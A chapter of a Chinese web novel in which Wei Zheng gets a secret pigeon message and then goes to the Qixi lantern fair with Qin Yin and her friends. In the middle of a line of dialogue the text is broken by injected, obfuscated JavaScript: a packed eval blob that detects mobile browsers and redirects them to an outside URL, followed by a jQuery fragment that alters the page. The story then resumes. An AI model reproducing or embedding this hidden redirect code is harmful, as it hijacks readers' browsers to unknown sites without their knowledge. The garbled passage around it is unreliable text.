七月初七是乞巧节,又称七夕节,传闻那日是牛郎与织女鹊桥相会的日子。因此九陵的姑娘除了在七月七那日向上天祈祷,能向织女一样心灵手巧外,同时也会携伴同游,期望能在那日觅得心上人。
卫琤向来对这些热闹的节日不感兴趣,但回房之后还是忍不住打开了衣柜,他看了看自己衣柜里的衣服,大多都是入梅派人给他添置的。好看的手指在衣衫间随意的翻了翻,脑中却想起入梅的那句“穿得好看点”,随之浮现的是秦音的笑脸。
放在灰色衣服上的手指收回,挑了一件深蓝色的衣衫拿在手里,正欲取下,就听见窗外传来咕咕的声音。
卫琤眉头一紧,转身见那只翅膀带灰点的鸽子落在窗台上,目光触及到它腿上绑着的纸条,心头涌现起难以言喻的烦躁。
不知情的鸽子低头啄着自己身上的毛,抖动翅膀振落一片羽毛,又咕咕叫了两声。卫琤踟蹰了几下,最终还是走向那只鸽子,将它腿上的纸条解了下来,慢慢将纸条摊开,只见上面简洁的写了八个字:
公子吩咐,束口汇合。
束口府,比九陵还靠近北梁边境。
卫琤望着纸条出神片刻,当机立断的将手里的纸条撕碎,随后丢入香炉中。他缓缓走至窗边,顺了顺鸽子的羽毛,沉默着将它放回。目光随着鸽子的远去在空中虚焦,陡然又听到震动翅膀的声音,以为是鸽子又飞回来了,凝神望去。
就见翅膀带灰点的鸽子同另一只鸽子盘旋着飞了几圈,随后才拍着翅膀飞往天空。另一个鸽子跟着盘旋一会后,飞入廊下。
廊下站着一人,他伸手抱住鸽子,满身通白的鸽子在他手指的抚摸下乖顺的收起了羽毛。树影打落在他大半的身子上,漫不经意的动作显得有几分晦暗。
卫琤抬眼望去,触到华瑄望过来的视线,张了张嘴,慌忙解释:“那鸽子是......”
华瑄抱着鸽子摇摇头,捋了捋鸽子的羽毛,道:“我不会告诉师妹的。”
卫琤一时间反应不过来他的态度,呐呐道:“多谢。”
华瑄抬手,鸽子顺势飞离了他的怀抱,他朝卫琤一笑,神色很温和,但笑意却不达眼底,他负手慢慢悠悠的离去。
卫琤不由得蹙眉,还是没明白他的用意,而且他方才看见华瑄放飞的那只鸽子腿上也绑着一个小竹筒。
华瑄他,到底是什么来历?
*
月上柳梢,暮色降临。
秦音早就被入梅拉着在公主府门口等着,入梅左瞧右瞧还不见宁簪的身影,有些着急:“奇怪,这马车都备好了,宁姑娘怎么还没来。”
秦音望了望远处一片通明,对九陵的灯会生出一丝期待:“兴许是有事耽搁了吧。”
“抱歉,久等了。”身后传来的声音如泉水玎玲。
秦音转身,就见卫琤款步朝她们走来。
他穿着一身深蓝色的锦衣,他皮肤白,任何颜色都只显他容貌,衬得他像个锦衣玉食的公子。头发只用一根短缎带高高的束起,添了一份卫琤自带的洒脱。与往日不同的是,今日他发间缀着玉饰,与头发编在了一起。
西魏人喜玉,不论男女,都爱将玉做成各种装饰物,或配在衣襟处,或编在发间,是他们独特的玉文化。
卫琤背上依旧背着那柄长剑,使得他那份矜贵里多了许多江湖气。目光望向银白色的剑柄,秦音眉头一动,对上卫琤直勾勾的视线,她弯眉浅笑,不吝啬的夸道:“卫琤,你今天穿得真好看。”
卫琤脚步一顿,屋檐下的灯笼照得他脸绯红,被秦音这一夸,连哪只脚走路都忘记了。
入梅点点头,很是赞同自家公主的话:“卫少侠也该多穿一些活泼点的衣服,显得人精神。”
“多谢。”明明不痒,但卫琤忍不住的挠了挠脖子,笑容中带着几分羞涩,声音轻缓,“你,你们也好看。”
许是公主府灯笼的光线柔柔,或是蓝衣粉裳的纤纤,亦或者发髻上的发带飘飘,衬得秦音的芙蓉面,更添几分娇俏。
“师妹,介意带上我吗?”华瑄从府里而来,见到几人在门口聊天,笑着问道。
华瑄虽然住在公主府里,但常常神出鬼没的,秦音也好久没见华瑄了:“自然,师兄何时变得如此客气了?”
华瑄浅笑不语,察觉到卫琤看过来的视线,只朝他点点头。
卫琤见华瑄一如往常,许是因为自己做贼心虚,所以对他过多揣测了。也许他只是写信给朋友呢,也许华瑄也只当他是在和朋友报日常吧。
想到纸条上的的内容,去束口意味着要离开九陵,离开秦音,可他不想。可是若不去,那他来北梁不就白跑这一趟了吗?
卫琤心中闪过一丝挣扎,抬眼看去同匆匆赶来的宁簪几人打招呼的秦音,罢了。
“抱歉昭乐,街上人太多了,我们来迟了。”宁簪缓了口气朝秦音道,她身后还跟着王家俩兄弟。
“没事,我们也没等很久,那我们现在就走吧。”
说着,公主府的几个人抬步往外走去。
“等一下。”王湖连忙叫住,一手拉着华瑄,一手推着卫琤,“我们往这里走。”
不知情的卫琤和华瑄被王湖这一下搞得有些迷茫,王澄也跟在他们旁边笑着朝愣在原地的秦音解释道:“在我们这儿,每年七夕逛花灯,都要男女先分开而行。若是能在人海相遇,那便是二人有缘分。”
几人恍然大悟,原是九陵的习俗啊。
那若是没遇见,不就是没缘分了吗?
宁簪朝秦音俏皮的眨眨眼:“这只是一个传统旧俗,我们方才商量好了,等会在逢鹊桥相会,那边地方大,还可以放河灯和孔明灯祈福。”
秦音点点头,入梅早就迫不及待了:“那我们快去吧,等会人多了不好放了。”
“好。”
说罢,少年少女一左一右往两处分开走去。
被入梅和宁簪簇拥着的秦音,忍不住扭头往卫琤他们离去的地方看了看,却没想到卫琤也在往她那里望。
目光相接,是漫延到全身的欣喜。
卫琤原本也只是想偷偷瞧一眼秦音,未料会和她对视上,唇角微勾,两人相视一笑,有些事情心照不宣。
“走了,卫琤小心看路。”还是王湖见他越走越慢,忍不住出声提醒的,连连伸手推着往前走,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513915|186207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看啥呢,快走吧,等会人多没得玩了。”
*
秦音以前不是在宫里欣赏那些严肃的歌舞礼乐,就是在山上看书度日,这还是她第一次感受如此市井气的灯会,望望这个,看看那个,怎么都瞧着新鲜。
宁簪一边走一边为她们介绍,入眼便是通亮的街道,所有九陵的商户店门头前,都挂着创意非凡的花灯,引得许多百姓在他们的店门口前驻足议论。
最引人注意的是有客来门口那个花灯,足足有客栈门头那么长,远看好似展翅腾飞的凤凰,近看发现是一盏盏弯曲各异的红色长鱼灯围绕而成,黄色的光线照在红色的鱼灯上,栩栩如生,看着十分热闹。
秦音和入梅不由得张大了嘴,瞧着新奇,也不急着去桥上找卫琤了,慢慢放慢了脚步,一个一个看过去。
除了最显热闹的灯笼外,还有许多小摊贩在那儿支着摊卖东西,有卖各种各样灯笼的,有卖各种小饰品的,还有各种造型可爱的吃食的,还有卖许多花束。杂技卖艺的有之,唱歌跳舞的有之,看得秦音眼花缭乱。
闲逛间,宁簪扯着秦音的衣袖来到了一个卖字画摊前面,秦音看了看眼前卖字画的少年,不明白宁簪为什么带她来这里。
宁簪伸手指了指卖字画的男子,对秦音介绍道:“昭乐,这是我弟弟阿润。”
宁润起身,朝秦音作揖:“见,见过公主。”
宁润长得很是清秀,虽然说话有些结巴,但气度不凡,不卑不亢的很是得体。
秦音朝宁润点点头,宁簪继续讲道:“阿润今日从书院回来,念着今儿的乞巧节,便在这里支了个书画摊,看有没有人要买的。”
宁婆原本是陪着宁润的,但又嫌长时间坐着无聊,刚好看到几个同村婶子,便一起携手逛去了。
宁润不喜欢热闹,乖乖的坐在书画摊前想看会儿书。这会儿看到宁簪他很是高兴:“今天的生意还挺好的,好几个来这儿看字画。”
秦音看了看几个在一旁看字画的姑娘们,她们手里虽然拿着字画,眼睛却不时的瞄向同他们说话的宁润,几个人脑袋凑在一起不知道在说什么。秦音低眉轻笑,也不知道她们是看画还是看人了。
整个九陵的人聚集在今晚了,大街上摩肩接踵,年轻的男女手上有的拿着花灯,有的拿着凤仙花,边逛边聊。年幼的稚子拿着糖葫芦串无视长辈的忠告,奔走在人群中。年长者或坐或走的,三三两两聊着天。
一时间,花灯如昼,火树银花,人群随着游行中出现的别具一格的彩灯发出阵阵欢呼声。
三人同宁润聊了几句,叽叽喳喳的往逢鹊桥赶去,宁簪分享的话题很多,语气格外风趣,一会讲村子里发生的趣事,一会介绍九陵的风俗,听得秦音津津有味。
这时,两人随着入梅的脚步在吃食摊前驻足,秦音一边帮入梅挑着点心,一边听宁簪讲话,见她提起宁润的糗事,秦音随口说道:“宁润瞧着倒和你不是很像,我之前还以为俩姐弟会有些相似。”
宁簪话音一顿:“阿润长得像娘,我长得像爹。”
秦音随意的点点头,正专心掏银子付钱,没有听出宁簪的语气有些不太自然。